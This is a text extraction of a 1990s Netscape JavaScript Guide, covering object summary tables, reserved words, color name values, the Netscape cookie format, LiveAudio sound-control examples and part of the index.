file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (52 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm

the original document closes, so the writeln method will implicitly open a new document of mimeType text/html if you do not explicitly issue a document.open() method in the event handler.

Examples
All the examples used for the write method are also valid with the writeln method.

See also
close (document object), open (document object), write methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_t-z.htm (53 of 53) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

Object summary
he following table lists each object and its properties, methods, and event handlers. Note that all objects have the eval, toString, and valueOf methods.

Object Anchor anchors array Applet applets array Area

Properties none length none length hash host hostname href pathname port protocol search target length prototype form name type value

Methods none none none none

Event handlers none none none onMouseOut onMouseOver

All public methods of the applet none

Array

join reverse sort blur click focus

none

Button

onBlur onClick onFocus onBlur onClick onFocus

Checkbox

checked blur defaultChecked click form focus name type value

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (1 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

Date

prototype

getDate getDay getHours getMinutes getMonth getSeconds getTime getTimezoneOffset getYear parse setDate setHours setMinutes setMonth setSeconds setTime setYear toGMTString toLocaleString toString UTC valueOf close open write writeln

none

document

alinkColor Anchor anchors Applet applets Area bgColor cookie domain embeds fgColor Form forms Image images lastModified linkColor Link links referrer title

none

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (2 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

URL vlinkColor FileUpload form name type value action Button Checkbox elements encoding FileUpload Hidden length method name Password Radio Reset Select Submit target Text Textarea length frames name length parent self window length name type value current length next previous length blur focus onBlur onChange onFocus onReset onSubmit

Form

reset submit

forms array Frame

none blur clearTimeout focus setTimeout

none onBlur onFocus

frames array Hidden

none none

none none

history

back forward go none

none

history array

none

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (3 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

Image

border complete height hspace lowsrc name prototype src vspace width length hash host hostname href pathname port protocol search target length hash host hostname href pathname port protocol search E LN2 LN10 LOG2E LOG10E PI SQRT1_2 SQRT2

none

onAbort onError onLoad

images array Link and Area

none none

none onClick onMouseOut onMouseOver

links array location

none reload replace

none none

Math

abs acos asin atan atan2 ceil cos exp floor log max min

none

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (4 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

pow random round sin sqrt tan MimeType description none enabledPlugin type suffixes length none appCodeName javaEnabled appName taintEnabled appVersion mimeTypes plugins userAgent length none none

mimeTypes array navigator

none none

options array

none none

options array elements defaultSelected none index length selected selectedIndex text value Password defaultValue form name type value description filename length name length blur focus select

onBlur onFocus

Plugin

none

none

plugins array

refresh

none

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (5 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

Radio

checked blur defaultChecked click form focus length name type value form name type value form length name options selectedIndex text type length prototype blur click focus blur focus

onBlur onClick onFocus

Reset

onBlur onClick onFocus onBlur onChange onFocus

Select

String

anchor big blink bold charAt fixed fontcolor fontsize indexOf italics lastIndexOf link small split strike sub substring sup toLowerCase toUpperCase

none

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (6 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm

Submit

form name type value defaultValue form name type value defaultValue form name type value closed defaultStatus document Frame frames history length location name opener parent self status top window

blur click focus blur focus select

onBlur onClick onFocus onBlur onChange onFocus onSelect onBlur onChange onFocus onSelect onBlur onError onFocus onLoad onUnload

Text

Textarea

blur focus select

window

alert blur clearTimeOut close confirm focus open prompt setTimeOut

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/summary.htm (7 of 7) [30/08/2003 9:34:36 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/keywords.htm

Reserved words
he reserved words in this list cannot be used as JavaScript variables, functions, methods, or object names. Some of these words are keywords used in JavaScript; others are reserved for future use.

abstract boolean break byte case catch char class const continue default delete do double

else extends false final finally float for function goto if implements import in instanceof

int interface long native new null package private protected public return short static super

switch synchronized this throw throws transient true try typeof var void while with

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/keywords.htm [30/08/2003 9:34:37 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm

Color values
he string literals in this table can be used to specify colors in the JavaScript alinkColor, bgColor, fgColor, linkColor, and vlinkColor properties and the fontcolor method. You can also use these string literals to set the colors in HTML tags, for example <BODY BGCOLOR="bisque"> or <FONT COLOR="blue">color me blue</font> Instead of using the string to specify a color, you can use the indicated red, green, and blue hexadecimal values.

Color aliceblue antiquewhite aqua aquamarine azure beige bisque black blanchedalmond blue blueviolet brown burlywood cadetblue chartreuse chocolate

Red Green Blue F0 00 7F F0 F5 FF 00 FF 00 F8 FF FF FF F5 E4 00 EB 00 FF D7 FF D4 FF DC C4 00 CD FF E2 2A 87 A0 00 1E FA EB

8A 2B A5 2A DE B8 5F 7F 9E FF

D2 69

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm (1 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm

coral cornflowerblue cornsilk crimson cyan darkblue darkcyan darkgoldenrod darkgray darkgreen darkkhaki darkmagenta darkolivegreen darkorange darkorchid darkred darksalmon darkseagreen darkslateblue darkslategray darkturquoise darkviolet deeppink deepskyblue dimgray dodgerblue firebrick floralwhite forestgreen fuchsia gainsboro ghostwhite

FF 64 FF 00 00 00

7F 95 F8 FF 00 8B

50 ED DC 3C FF 8B 8B 0B A9 00 6B 8B 2F 00 CC 00 7A 8F 8B 4F D1 D3 93 FF 69 FF 22 F0 22 FF DC FF

DC 14

B8 86 A9 A9 00 64 BD B7 8B 00 55 FF 99 E9 8F 48 2F 00 94 FF 00 69 1E FF 22 FF F8 6B 8C 32 96 BC 3D 4F CE 00 14 BF 69 90 FA 8B 00 F8

8B 00

B2 22

DC DC

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm (2 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm

gold goldenrod gray green greenyellow honeydew hotpink indianred indigo ivory khaki lavender lavenderblush lawngreen lemonchiffon lightblue lightcoral lightcyan lightgreen lightgrey lightpink lightsalmon lightseagreen lightskyblue lightslategray lightsteelblue lightyellow lime limegreen linen magenta

FF 80 00 F0 FF

D7 80 80 FF 69

00 20 80 00 2F F0 B4 5C 82 F0 8C FA F5 00 CD E6 80 FF D2 90 D3 C1 7A AA FA 99 DE E0 00 32 E6 FF

DA A5

AD FF

CD 5C 4B 00 FF F0 E6 FF FF F0 E0 90 FF FF 20 87 77 FF 00 32 FF FF E6 E6 F0 FA 80 FF EE B6 A0 B2 CE 88 FF FF CD 00

7C FC AD D8

lightgoldenrodyellow FA FA D3 D3

B0 C4

FA F0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm (3 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm

maroon mediumaquamarine mediumblue mediumorchid mediumpurple mediumseagreen mediumslateblue mediumspringgreen mediumturquoise mediumvioletred midnightblue mintcream mistyrose moccasin navajowhite navy oldlace olive olivedrab orange orangered orchid palegoldenrod palegreen paleturquoise palevioletred papayawhip peachpuff peru pink plum powderblue

80 66 00 93

00 CD 00 70

00 AA CD D3 DB 71 EE 9A CC 85 70 FA E1 B5 AD 80 E6 00 23 00 00 D6 AA 98 EE 93 D5 B9 3F CB DD E6

BA 55 3C B3 7B 68 00 48 19 F5 FF FF FF 00 80 FF FF FA D1 19 FF E4 E4 DE 00 80 A5 45

C7 15

FD F5 6B 8E

DA 70 EE E8 98 FB AF EE DB 70 FF FF FF EF DA C0

CD 85 DD A0 B0 E0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm (4 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm

purple red rosybrown royalblue saddlebrown salmon sandybrown seagreen seashell sienna silver skyblue slateblue slategray snow springgreen steelblue tan teal thistle tomato turquoise violet wheat white whitesmoke yellow yellowgreen

80 FF 41

00 00 69

80 00 8F E1 13 72 60 57 EE 2D C0 EB CD 90 FA 7F B4 8C 80 D8 47 D0 EE B3 FF F5 00 32

BC 8F 8B 45 FA 80 F4 2E FF A4 8B F5

A0 52 C0 C0 87 70 FF 00 46 00 FF 40 F5 FF F5 FF CE 80 FA FF 82 80 63 E0 DE FF F5 FF 6A 5A

D2 B4 D8 BF

EE 82

9A CD

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/colors.htm (5 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm

Netscape cookies
cookie is a small piece of information stored on the client machine in the cookies.txt file. This appendix discusses the implementation of cookies in the Navigator client; it is not a formal specification or standard. You can manipulate cookies
q q q

Explicitly, with a CGI program. Programmatically, with client-side JavaScript using the cookie property of the document object. Transparently, with the LiveWire the client object, when using client-cookie maintenance. For information about using cookies in LiveWire, see the LiveWire Developer's Guide.

This appendix describes the format of cookie information in the HTTP header, and discusses using CGI programs and JavaScript to manipulate cookies.

Syntax
A CGI program uses the following syntax to add cookie information to the HTTP header: Set-Cookie: name=value [;EXPIRES=dateValue] [;DOMAIN=domainName] [;PATH=pathName] [;SECURE]

Parameters
name=value is a sequence of characters excluding semi-colon, comma and white space. To place restricted characters in the name or value, use an encoding method such as URL-style %XX encoding. EXPIRES=dateValue specifies a date string that defines the valid life time of that cookie. Once the expiration date has been reached, the cookie will no longer be stored or given out. If you do not specify dateValue, the cookie expires when the user's session ends. The date string is formatted as:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm (1 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm

Wdy, DD-Mon-YY HH:MM:SS GMT where Wdy is the day of the week (for example, Mon or Tues); DD is a two-digit representation of the day of the month; Mon is a three-letter abbreviation for the month (for example, Jan or Feb); YY is the last two digits of the year; HH:MM:SS are hours, minutes, and seconds, respectively. DOMAIN=domainName specifies the domain attributes for a valid cookie. See "Determining a valid cookie". If you do not specify a value for domainName, Navigator uses the host name of the server which generated the cookie response. PATH=pathName specifies the path attributes for a valid cookie. See "Determining a valid cookie". If you do not specify a value for pathName, Navigator uses the path of the document that created the cookie property (or the path of the document described by the HTTP header, for CGI programming). SECURE specifies that the cookie is transmitted only if the communications channel with the host is a secure. Only HTTPS (HTTP over SSL) servers are currently secure. If SECURE is not specified, the cookie is considered sent over any channel.

Description
A server sends cookie information to the client in the HTTP header when the server responds to a request. Included in that information is a description of the range of URLs for which it is valid. Any future HTTP requests made by the client which fall in that range will include a transmittal of the current value of the state object from the client back to the server. Many different application types can take advantage of cookies. For example, a shopping application can store information about the currently selected items for use in the current session or a future session, and other applications can store individual user preferences on the client machine. Determining a valid cookie When searching the cookie list for valid cookies, a comparison of the domain attributes of the cookie is made with the domain name of the host from which the URL is retrieved. If the domain attribute matches the end of the fully qualified domain name of the host, then path matching is performed to determine if the cookie should be sent. For example, a domain attribute of "acme.com" would match host names "anvil.acme.com" as well as "shipping.crate.acme.com". Only hosts within the specified domain can set a cookie for a domain. In addition, domain names must use at least two or periods. Any domain in the "COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT" categories requires only two periods; all other domains require at least three periods.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm (2 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm

PATH=pathName specifies the URLs in a domain for which the cookie is valid. If a cookie has already passed domain matching, then the pathname component of the URL is compared with the path attribute, and if there is a match, the cookie is considered valid and is sent along with the URL request. For example, PATH=/foo matches "/foobar" and "/foo/bar.html". The path "/" is the most general path. Syntax of the cookie HTTP request header When requesting a URL from an HTTP server, the browser matches the URL against all existing cookies. When a cookie matches the URL request, a line containing the name/value pairs of all matching cookies is included in the HTTP request in the following format: Cookie: NAME1=OPAQUE_STRING1; NAME2=OPAQUE_STRING2 ... Saving cookies A single server response can issue multiple Set-Cookie headers. Saving a cookie with the same PATH and NAME values as an existing cookie overwrites the existing cookie. Saving a cookie with the same PATH value but a different NAME value adds an additional cookie. The EXPIRES value indicates when to purge the mapping. Navigator will also delete a cookie before its expiration date arrives if the number of cookies exceeds its internal limits. A cookie with a higher-level PATH value does not override a more specific PATH value. If there are multiple matches with separate paths, all the matching cookies are sent, as shown in the examples below. A CGI script can delete a cookie by returning a cookie with the same PATH and NAME values, and an EXPIRES value which is in the past. Because the PATH and NAME must match exactly, it is difficult for scripts other than the originator of a cookie to delete a cookie. Specifications for the client When sending cookies to a server, all cookies with a more specific path mapping are sent before cookies with less specific path mappings. For example, a cookie "name1=foo" with a path mapping of "/" should be sent after a cookie "name1=foo2" with a path mapping of "/bar" if they are both to be sent. The Navigator can receive and store the following:
q q

300 total cookies 4 kilobytes per cookie, where the name and the OPAQUE_STRING combine to form the 4 kilobyte limit. 20 cookies per server or domain. Completely specified hosts and domains are considered separate

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm (3 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm

entities, and each has a 20 cookie limitation. When the 300 cookie limit or the 20 cookie per server limit is exceeded, Navigator deletes the least recently used cookie. When a cookie larger than 4 kilobytes is encountered the cookie should be trimmed to fit, but the name should remain intact as long as it is less than 4 kilobytes.

Examples
The following examples illustrate the transaction sequence in typical CGI programs. For an example of using cookies with JavaScript, see "cookie". Example 1 Client requests a document, and receives in the response: Set-Cookie: CUSTOMER=WILE_E_COYOTE; path=/; expires=Wednesday, 09-Nov-99 23:12:40 GMT When client requests a URL in path "/" on this server, it sends: Cookie: CUSTOMER=WILE_E_COYOTE Client requests a document, and receives in the response: Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/ When client requests a URL in path "/" on this server, it sends: Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001 Client receives: Set-Cookie: SHIPPING=FEDEX; path=/foo When client requests a URL in path "/" on this server, it sends: Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001 When client requests a URL in path "/foo" on this server, it sends:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm (4 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001; SHIPPING=FEDEX Example 2 This example assumes all mappings from Example 1 have been cleared. Client receives: Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/ When client requests a URL in path "/" on this server, it sends: Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001 Client receives: Set-Cookie: PART_NUMBER=RIDING_ROCKET_0023; path=/ammo When client requests a URL in path "/ammo" on this server, it sends: Cookie: PART_NUMBER=RIDING_ROCKET_0023; PART_NUMBER=ROCKET_LAUNCHER_0001 There are two name/value pairs named "PART_NUMBER" due to the inheritance of the "/" mapping in addition to the "/ammo" mapping.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/cookies.htm (5 of 5) [30/08/2003 9:34:38 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm

LiveAudio and LiveConnect


iveAudio is LiveConnect aware. You use JavaScript to control embedded LiveAudio elements. Using LiveConnect, LiveAudio, and JavaScript, you can accomplish the following type of things programmatically:
q q q q

Create alternative sound control interfaces Defer the load of a sound file until the user clicks the "play" button Create buttons that make "clicking" noises Create audio confirmation for interface interactions; for example, have an object "say" what it does when the users clicks it or moves the mouse over it

Essentially, any event that can be described programmatically using the already rich JavaScript framework can trigger a sound event.

JavaScript methods for controlling LiveAudio


LiveAudio provides the following major JavaScript controlling methods. For these methods to be available to JavaScript (and the web page), you must embed a LiveAudio console (any console will do, it can even be hidden) somewhere on your page. (Note: Expressions placed in "{}" are comments and should not be placed in JavaScript literally.)
q q q q q q q q q q q

play({loop[TRUE, FALSE or an INT]}, '{url_to_sound}') pause() stop() StopAll() start_time({number of seconds}) end_time({number of seconds}) setvol({percentage number - without "%" sign}) fade_to({volume percent you wish to fade to - without the "%" sign}) fade_from_to({volume percent start fade}, {volume percent end fade}) start_at_beginning() stop_at_end()

The following JavaScript state indication methods do not control the LiveAudio plug-in, but they give you information about the current state of the plug-in:
q q q q

IsReady IsPlaying IsPaused GetVolume

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm (1 of 4) [30/08/2003 9:34:39 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm

Using the LiveAudio LiveConnect methods


One example of using JavaScript to control a LiveAudio plug-in is to have JavaScript play a sound. In the following example, all of the HTML is needed to make the plug-in play a sound. <HTML> <BODY> <EMBED SRC="sound1.wav" HIDDEN=TRUE> <A HREF="javascript:document.embeds[0].play(false)"> Play the sound now!</A> </BODY> </HTML> The preceding method of playing a sound file is probably the simplest, but can pose many problems. If you are using the document.embeds array, Navigator 2.0 will generate an error, because the embeds array is a Navigator 3.0 feature. Rather than use the embeds array, you can identify the particular <EMBED> tag you would like to use in JavaScript by using the NAME and MASTERSOUND attributes in your original <EMBED> tag, as follows: <HTML> <BODY> <EMBED SRC="sound1.wav" HIDDEN=TRUE NAME="firstsound" MASTERSOUND> <A HREF="javascript:document.firstsound.play(false)"> Play the sound now!</A> </BODY> </HTML> This is a much more descriptive way to describe your plug-in in JavaScript, and can go a long way towards eliminating confusion. If, for example you had several sounds embedded in an HTML document, it may be easier for developers to use the NAME attribute rather than the embeds array. In the preceding example, notice that the MASTERSOUND attribute in the <EMBED> tag is used. This is because any time a NAME attribute is used referencing LiveAudio, an accommodating MASTERSOUND tag must be present as well. Another common example of using LiveConnect and LiveAudio is to defer loading a sound until a user clicks the "play" button. To do this, try the following: <HTML> <HEAD> <SCRIPT LANGUAGE=JavaScript> <!-- Hide JavaScript from older browsers
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm (2 of 4) [30/08/2003 9:34:39 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm

function playDeferredSound() { document.firstsound.play(false, 'http://url_to_new_sound_file/sound1.wav'); } // --> </SCRIPT> </HEAD> <BODY> <EMBED SRC="stub1.wav" HIDDEN=TRUE NAME="firstsound" MASTERSOUND> <A HREF="javascript:playDeferredSound()">Load and play the sound</A> </BODY> </HTML> The stub file, stub1.wav, is loaded relatively quickly. (For a description of how to create a stub file, see the EmeraldNet LiveAudio information at http://emerald.net/liveaudio/.) The play method then loads the sound file only when it is called. Using this example, the sound file is loaded only when the user wants to hear it. Web designers might want to create entire new interfaces with LiveConnected LiveAudio. To create an alternate console for sound playing and interaction, a designer might do the following: <HTML> <HEAD> <SCRIPT LANGUAGE=JavaScript> <!-- Hide JavaScript from older browsers function playSound() { document.firstSound.play(false); } function pauseSound() { document.firstSound.pause(); } function stopSound() { document.firstSound.stop(); } function volup() { currentVolume = document.firstSound.GetVolume(); newVolume = ( currentVolume + 10 ) ; if ( document.firstSound.GetVolume() == 100 ) { alert("Volume is already at maximum"); } if ( newVolume < 90 ) { document.firstSound.setvol(newVolume) ; } else {

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm (3 of 4) [30/08/2003 9:34:39 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm

if ( ( newVolume <= 100 ) && ( newVolume > 90 ) ) { document.firstSound.setvol(100) ; } } } function voldown() { currentVolume = document.firstSound.GetVolume(); newVolume = ( currentVolume - 10 ) ; if ( document.firstSound.GetVolume() == 0 ) { alert("Volume is already at minimum"); } if ( newVolume > 10 ) { document.firstSound.setvol(newVolume) ; } else { if ( ( newVolume >= 0 ) && ( newVolume < 10 ) ) { document.firstSound.setvol(0) ; } } } // --> </SCRIPT> </HEAD> <BODY> <EMBED SRC="sound1.wav" HIDDEN=TRUE AUTOSTART=FALSE NAME="firstSound" MASTERSOUND> <P><A HREF="javascript:playSound()">Play the sound now!</A></P> <P><A HREF="javascript:pauseSound()">Pause the sound now!</A></P> <P><A HREF="javascript:stopSound()">Stop the sound now!</A></P> <P><A HREF="javascript:volup()">Increment the Volume!</A></P> <P><A HREF="javascript:voldown()">Decrement the Volume!</A></P> </BODY> </HTML> The preceding example illustrates how you might create your own method of controlling a sound file. The possibilities are really endless; you can use images and onClick event handlers to simulate your own sound player.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/liveaud.htm (4 of 4) [30/08/2003 9:34:39 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

JavaScript Guide index Symbols ! operator 112 # (hash mark in URL) 275 % operator 109 & operator 110 && operator 112 */ comment 149, 154 -- operator 109 ++ operator 109 /* comment 149, 154 // comment 29, 149, 154 ^ operator 110 | operator 110 || operator 112 ~ operator 110 A A HTML tag 66, 179, 305 abort event 336 about: (URL syntax) 316, 317 abs method 175 absolute value 175 accumulator See tainting acos method 176 ACTION attribute 176, 252 action property 176 alert method 41, 51, 177 alinkColor property 178 anchor method 179 Anchor object 179 See also anchors anchors Anchor object 179 creating 179 defining 179 linking to 66 anchors array 180 anchors property See anchors array animation 288
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (1 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

appCodeName property 183 APPLET HTML tag 184 Applet object 184 applets controlling with LiveConnect 73 example of 74, 75 flashing text example 75 Hello World example 74, 80 including in a web page 184 referencing 73 applets array 185 appName property 187 appVersion property 187 arc cosine 176 arc sine 193 arc tangent 194 AREA HTML tag 305 Area object 189, 305 See Link object arguments array 120, 189 arithmetic operators decrement 109 increment 109 modulus 108 unary negation 109 Array object 190 creating 128 overview 127 arrays See also the individual arrays Array object 190 associative 118 creating from strings 419 defined 128 dense 192 increasing length of 191 indexing 55, 129, 192 initial length of 191 joining 298 length of, determining 301 list of predefined 54 null elements 106 populating 128 predefined 54 referring to elements 55, 129, 192
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (2 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

reversing 390 sorting 416 transposing 390 undefined elements 106 ASCII, string value 239, 453 asin method 193 assignment operators 107 defined 105 atan method 194 atan2 method 194 B Back button 195 back method 195 background color 196 bgColor property 196 BIG HTML tag 196 big method 196 bitwise operators logical 110 overview 110 shift 111 BLINK HTML tag 197 blink method 197 blur event 337 blur method 51, 198 BOLD HTML tag 199 bold method 199 Boolean literals 102 Boolean object 200 overview 130 border property 201 break statement 145, 154 browser about: (URL syntax) 317 code name of 183 hiding scripts from 29 name of 187 navigator object 332 user agent 455 version of 187 Button object 202 See also buttons

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (3 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

buttons Button object 202 clicking programmatically 211 defining 202 reset 387 submit 44, 428 C caching graphics 289 call method (LiveConnect) 167 caller property 204 case sensitivity 27, 101, 117 ceil method 205 CGI programs and image maps 85 and server JavaScript 24 submitting forms to 44 validating form input for 42 change event 339 charAt method 206 Checkbox object 206 See also checkboxes checkboxes Checkbox object 206 checking programmatically 210 clicking programmatically 211 default selection state 222 defining 206 selection state 210 checked property 210 clearTimeout method 134, 211 click event 339 click method 211 client JavaScript 23 close method 51 document object 212 window object 58, 213 closed property 214 colors background 196 font 249 foreground 243 hexadecimal values 487 link 178, 312, 462
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (4 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

list of 487 string literals 487 string literals for 487-492 text 243 commas, in cookies 87 comment statement 149, 154 comments 29, 154 types of 149 comparison operators 108 complete property 215 compute function 41 conditional expressions 106 conditional statements 141-142 confirm method 41, 51, 216 constructor property 217 containership specifying default object 148, 162 with statement and 148, 162 continue statement 145, 155 conventions 153 cookie property 218 cookies 218 defined 86 example of use 89 implementation of 493-497 with JavaScript 88 limitations for 87 cos method 219 cosine 219 current property 220 D data tainting See tainting data types converting 100 and Date object 99 Java to JavaScript conversion 81 in JavaScript 26, 99 JavaScript to Java conversion 77 Date object 221 See also dates, times creating 130 overview 130
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (5 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

using 130-134 dates See also times converting to string 445 cookie expiration 87 Date object 221 day of month 268 day of week 269 defining 221 GMT conversion 444 milliseconds since 1970 359, 456 month 270 working with 130 year 272, 415 decrement operator 109 default objects, specifying 148, 162 defaultChecked property 222 defaultSelected property 223 defaultStatus property 86, 225 defaultValue property 226 dense arrays 192 description property 227 destroy method (LiveConnect) 172 dialog boxes Alert 51, 177 Confirm 41, 51, 216 Prompt 51, 372 directories, conventions used 18 document object 46, 228 See also documents anchors array 180 applets array 185 described 52 embeds array 235 example of properties 47-49 forms array 253 images array 289 links array 308 documentation conventions 18-19 documents See also windows anchors array 180 anchors in 180 applets array 185 applets in 185
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (6 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

closing 212 color of 196, 243 current URL 454 defining 228 displaying HTML output in 228 document object 52, 228 embeds array 235 error handler for 341 forms array 253 images array 289 images in 289 last modified date 257, 300 links array 308 onUnload event handler 345, 351 opening 351 reloading 383 title 444 writing to 471, 472 domain property 232 E E property 233 elements array 52, 234 elements property See elements array else statement See if...else statement embeds array 235 embeds property See embeds array enabledPlugin property 237 encoding property 238 ENCTYPE attribute 238, 252 end_time method (LiveAudio) 500 entities 32 error event 341 escape function 87, 88, 239 escaping characters 103 Euler's constant 233 base 10 logarithm of 319 base 2 logarithm of 319 raised to a power 242 eval function 41, 100 eval method 240
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (7 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

eval method (LiveConnect) 168 event handlers 336-351 See also the individual event handlers defining 37 defining functions for 39 example of use 40-41 in Function objects 267 list of 38 quotation marks for 40 referring to windows 64 resetting 41 scripting 37-41 specifying object names in 213 summary of 475-483 syntax for 39 events, defined 37 exp method 242 expressions conditional 106 in HTML attributes 32 overview 105 that return no value 115 types of 105 F fade_from_to method (LiveAudio) 500 fade_to method (LiveAudio) 500 fgColor property 243 file: (URL syntax) 316 filename property 244 FileUpload object 244 fixed method 246 flashing text applet example 75 floating-point literals 102 floor method 247 focus giving 247 onBlur event handler 337 onChange event handler 339 onFocus event handler 344 removing 198 focus event 344 focus method 51, 247

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm (8 of 32) [30/08/2003 9:34:43 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/jsindex.htm

